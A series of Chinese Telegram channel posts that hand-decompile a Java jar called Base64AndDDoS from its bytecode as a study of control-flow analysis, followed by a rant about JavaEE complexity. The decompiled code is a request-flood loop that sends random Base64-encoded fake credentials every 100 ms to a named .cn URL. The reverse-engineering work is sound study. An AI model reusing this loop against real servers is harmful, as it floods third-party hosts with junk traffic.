duangsuse::Echo
400 subscribers
3.82K photos
103 videos
573 files
5.01K links
duangsuse技术相干订阅
这是 @duangsuse 与技术有关的发布频道
duangsuse 的另外有 throws 闲杂频道
@dsuset
转载频道 @dsusep
duangsuse 有coding,github,gitlab帐号和bilibili帐号

极小可能会有批评zf的消息 如有不适可以退出

suse的小站:https://piped.stream
ps 另有别名 popf.rip
ʕ•̀ω•́ʔ✧ 🐶🍎🏠生死🐜
(>ω<)岂因祸福避趋之 一鿕
Download Telegram
duangsuse::Echo
https://github.com/Trumeet/Desktop #Kotlin 看起来比较简单,我也想默写一个(部分不默写,比如 bitflags) 这次我会用一点面向对象(Mixins)
好像没有使用 Mixin... 因为那个的确是比较麻烦(有可能还要用 CGLib 什么的)
然后这里也的确没啥东西需要 Mixin 的,何况那个抽象类的方法都是 protected 的,从外面看也很像 Mixin 了

Commit 明确了一下 parameter 和返回值的传递,都是没有用处的值
那我再写一个(求别喷为什么不干有意义的事情)

[DuangSUSE@duangsuse]~/Projects% jar tf Yuuta\ \(2\).jar|head -n4
META-INF/MANIFEST.MF
META-INF/
Base64AndDDoS.class
org/
[DuangSUSE@duangsuse]~/Projects% javap -cp Yuuta\ \(2\).jar Base64AndDDoS
Compiled from "Base64AndDDoS.java"
public class Base64AndDDoS {
public Base64AndDDoS();
public static void main(java.lang.String[]) throws java.io.IOException, java.lang.InterruptedException;
}
... 看起来还是不如直接用 Python 之类的写(当然文本处理推荐 Perl)

不过为了方便学习 OkIO, OkHttp 就写点吧...
Forwarded from 永久封存 | Yuuta 台 | 😷 #Pray4Wuhan (Al Pt)
Yuuta.jar
2.1 MB
duangsuse::Echo
Yuuta.jar
反汇编看看,敲重点。

javap -c -cp Yuuta\ \(2\).jar Base64AndDDoS

constructor
public Base64AndDDoS();
啥都没有,就一个 invokespecial (call super)

然后 main, 这里第一个本地表(索引 0)因为是 static 方法就代表 args 对象

aload_0; arraylength: push args.length
ifle goto 9: if (pop <=0) goto truebr
iconst_1
goto 10: goto falsebr
9:truebr
iconst_0
10:falsebr
dup
istore_1

首先看看有没有参数(<=0),如果有(len>0),则 #1 被存储为 int 1,否则 int 0

... 算了,我们来看看如何使用 Kate 以理解程序逻辑为目标阅读 Java 字节码吧。
disasm.javap
7.6 KB
第一条“语句”
(上面那条是 ifeq 99
(其实 radare 早就可以绘制流程控制图分析(就是这里的 ifle<pc> ifeq<pc> 指令)了

不要跟我说为什么不直接用 jad, jeb 之类的反编译器算了,JVM 的代码都看不懂这还是人么,顺便求不要提为什么没有立刻继续写书... 目前时间比较少,先看着办
duangsuse::Echo
Photo
对于分支控制流分析来说,一个值得注意的点是『分支』的控制流是否有相同的后件:

if (p) {
console.log()
} else { console.log() }

实际上可以被转化为

console.log()

这类情况可能很多,再比如一个差不多的

if (p) {
stack.push(1);
storage.set(1, stack.pop());
} else {
stack.push(2);
storage.set(1, stack.pop());
}

这里的情况是两个分支都有一个相同的操作(后件)

istore_1

所谓的分支要这么收集:

ifne 49
ifeq 53

...
goto 54
54:
istore_0

从这个跳转地址开始抽象执行余下的代码,分析器可以发现不管怎么走,
54:istrore_1 是公共的后件,它把栈上的对象存储到本地表
这样就可以把这两个分支提取综合出来,实际上是在对流程控制图进行括扑搜索

if (str.equals("f")) {
l1 = 1;
} else if (str.equals("alwayscontinue")) {
l1 = 0;
}


🙈 总之下面的都是无聊的代码就可以了,效率分析,直接 walk 跳转完全走一遍算了:

— Local variable table
%0: args String[]
%1:
at 11: boolean
at 54: boolean


if (args.length < 0) {
// @99
// control flow skip:
} else {
String fst = args[0];
fst = fst.toLowerCase().replaceAll("^-", "");
int $const_flagbr =0; /*%1*/

if (fst .equals ("f")) {
// code route: @49[iconst_1, goto 54] -> @54[istore_1]
$const_flagbr = 1;
} else if (! fst .equals ("alwayscontinue")) {
// code route: @53[iconst_0] -> @54[istore_1]
$const_flagbr = 0;
} else {
// code route: @49[iconst_1, goto 54] -> @54[istore_1]
$const_flagbr = 1;
} // — reduction

//@55
PrintStream stdout = java.lang.System.out;
StringBuilder sb = new StringBuilder();
// new, dup, invokespecial
sb.append("\"").append(fst /*%2*/).append("\"");
//@80
sb.append($const_flagbr==0? "ignored":"accepted")
// branch reduction [@83, @88] -> @90
stdout.println(sb.toString());
}
// if (args.length...) {} else {} 共有后件 @99

OkHttpClient req = new okhttp3.OkHttpClient.Builder()
.build(); /*%2*/
// dup

Random rng = new java.util.Random(); /*%5*/
//%10 = 0
int $_10 = 0;
while (true) {
//push long 100000000l
//operator%
//push long 900000000l
//operator+
//%6=$1
long rand = rng.nextLong() % 100000000l + 900000000l // %6
String $_8 = Method org.apache.commons.lang.RandomStringUtils.random(1,1,10);
StringBuilder sb1 = new StringBuilder().append("{\"u\":\"");
sb1.append(rand);
sb1.append("\",\"p\":\"");
sb1.append($_8).append("\"}");

$_3 = sb1.toString();

$_4 = new String(
java.util.Base64.getEncoder().encode($_3.getBytes()));

RequestBuilder job = new okhttp3.Request.Builder();//dup
StringBuilder sb2 = new StringBuilder();
sb2.append("https://fffniubi888.cn/user.php?token=");
sb2.append($_4);
job.url(sb2.toString());
$_11 = job.build();
//@236
try{

Response resp = req.newCall(job).execute();
} catch (java.net.SocketTimeoutException e/*%12*/) {
// @252
e.printStackTrace();
// merged to @321
$_10 += 1;
continue;
} catch (java.lang.Exception e1/*%12*/) {
if (1 ==0) {} else {
e1.printStackTrace();
// merged to @321
$_10 += 1;continue;
}
}
// goto @279
stdout.println(new StringBuilder().append(resp).append("\t\t").append($_10).toString());
resp.close();
java.lang.Thread.sleep(100L);
//@321
$_10 += 1;
continue;
// goto @122: loop
}

/// catch Exception table:
/*from to target type
236 249 252 Class java/net/SocketTimeoutException
236 249 262 Class java/lang/Exception */
好了,循着控制流的指示,正常完成反编译,不过我还没反编译异常捕获表...
duangsuse::Echo
对于分支控制流分析来说,一个值得注意的点是『分支』的控制流是否有相同的后件: if (p) { console.log() } else { console.log() } 实际上可以被转化为 console.log() 这类情况可能很多,再比如一个差不多的 if (p) { stack.push(1); storage.set(1, stack.pop()); } else { stack.push(2); storage.set(1, stack.pop()); } 这…
有点问题, apache commons lang 的 random string 调用是 (IZZ)V
我以为 Z 是 Float 来着,然后 J 是 Boolean...
其实反过来了 #Java #reveng

然后调用 Java 的栈是后进先出的,所以第一个 bipush 上的是第一个参数...(然后 invokevirtual 是从最后一个参数开始 pop...)

好吧,我承认是我对栈的“可视化”弄错了,之前我这么想栈:

— 栈底
1
2
3
👆 栈顶

当然这是正确的(它的确是 LIFO),可是很多人不这么想,他们和我想的正好是反的

👇 栈顶
3
2
1
— 栈底

虽然,x86 的栈默认就是往低地址增长... 看起来这样会比较方便,可也有不方便的:
CDEF 和 Java 函数传参的时候看起来最先出栈的被视为最后一个参数,这很正常(这样调用时压入就不会那么鸡勒)
可是和我的直觉不怎么符合... 怎么看 invoke* 上面被 push 的(在模拟执行的时候)从下往上数和参数列表应该直接对应的,可是这么干给它反过来了,搞的即使有在模拟执行也不怎么好理解...

后面的是 boolean...

已经修改好了

String $_8 = org.apache.commons.lang3.RandomStringUtils.random(10,true,true);

rather than

String $_8 = org.apache.commons.lang3.RandomStringUtils.random(1,1,10);
反编译的程序拥有等价的逻辑语义
duangsuse::Echo
反编译的程序拥有等价的逻辑语义
但是我们依然可以使用 jad 来反编译它,即使我正打算自己写一个反编译器...

jar xf Yuuta\ \(2\).jar Base64AndDDoS.class
~/bin/jad158e.linux.static/jad Base64AndDDoS.class

Parsing Base64AndDDoS.class...The class file version is 52.0 (only 45.3, 46.0 and 47.0 are supported)
Generating Base64AndDDoS.jad

反编译的效果很好 🌚
区别是我完全没有看任何局部变量表,注意手动反编译的版本和机器自动反编译的版本都有一个循环,catch 块里他们都尝试 goto 到循环头部了

然后我反编译丢了 $const_flagbr 的读取,,,(其实是在后面的 catch landingpad 里读取的,但是我直接 continue; 了没判断 iload_1; ifeq 276 @276: aload 12; athrow) 🙈
javap -l Base64AndDDoS 可以输出行号和本地变量表
我总算不怕面向对象设计了, JavaEE 果然是大佬的平台, 什么 Representation, Resource links(rel/href/type, LinkableRepresentation), Adapter, 方法限定子类, Utils, 函数指针式子类实现已经是小 case 了
都在玩 CDI, Singleton Bean, Stateless Bean, SessionScoped/RequestScoped/Current, @Startup Bean, Interceptor, Stereotype, CDI Observer, NDI, DevOps, ShrinkWrap 部署 Archive 文件系统 DSL, 灰盒测试, XML 配置, Graph databases, 数据网格, JPA/JTA, BeanManager 了

到处隐式对象依赖 @Observes @interface @XXXScoped @Produces @Starup @PostConstruct @Resource 到处组件化、元编程、事务性、测试、abstract class 和 type parameters 看起来才像是 JavaEE 啊
duangsuse::Echo
我总算不怕面向对象设计了, JavaEE 果然是大佬的平台, 什么 Representation, Resource links(rel/href/type, LinkableRepresentation), Adapter, 方法限定子类, Utils, 函数指针式子类实现已经是小 case 了 都在玩 CDI, Singleton Bean, Stateless Bean, SessionScoped/RequestScoped/Current, @Startup Bean, Interceptor,…
亏它还说是『接地气』的指南,果然只是指南而已,这根本不是 Java 入门级别开发者能 handle 的复杂度啊!

就是那个 SMTPMailService (还是封装了 JavaEE 本身的 javax.mail API)恐怕初学者不写个一两天也是弄不出来的(涉及上下文依赖注入、JNDI 服务查找、javax.mail.* API、JMX Queue、MessageDriven Bean、XML、java.util.concurrent.CyclicBarrier 同步工具类、Subetha SMTP Server、测试部署过程、...)

然鹅,对很多人来说,他们对『“服务端”发送一封邮件』的直觉是:

abstract fun sendMail(toAddr: String, subject: String, body: String)

或者

abstract fun sendMail(toAddr: String, subject: String, body: String, mime: MimeType)

或者

abstract fun sendMail(toAddr: String, subject: String, body: String, mime: MimeType): Future<MailSendResult>

...

可是你却要教他们用 java.io.Serializable 去用 Builder pattern 去生成什么“可变”“不可变” “线程安全传输” 的 MailMessage 对象

@Inject MailService mailer;

//...
MailMessage smg = new MailMessage.Builder()
.from("duangsuse@example.org")
.addTo("cxk@example.org")
.subject("Re: 🏀 挑战")
.body("😧").type(MimeType.TEXT_PLAIN)
.build();

mailer.queueForDelivery(smg);

而且后面还有一大堆被模块化松耦合的逻辑... 寻找 javax.mail.Session 资源啊、拿到注入 smtpQueue 啊、拿到 Java JMX 的 ConnectionFactory 啊、发送到消息队列啊(之间又要用到数个 API,比如 ObjectMessage、Session、(Message)Producer,到了队列的 MessageDriven Bean 里又要 Check cast 两次确保运行时类型安全,而且这还需要一个 sendMail(final MailMessage) 的辅助,这个函数的逻辑还仅仅只是把 MailMessage 翻译成 MimeMessage 然后 Transport.send 而且它也是一个 Bean @EJB... 还有 MessageDriven Bean 还要填写个 annoatation 元数据、这个 annotation 里面还需要仨 annotation(acknowledgeMode, destination, destinationType) 才能工作(Java Connector Architect),这仨还是 Java 经典令人头疼的 property(Map<String,Object>) 模式)...

Java 面向对象本来是为了降低门槛,可是 JavaEE 却是在背道而驰,因为它要通过提升编程难度、记忆模式数量的方式使得软件更容易维护更新测试.... 这样看起来才像是“企业级”软件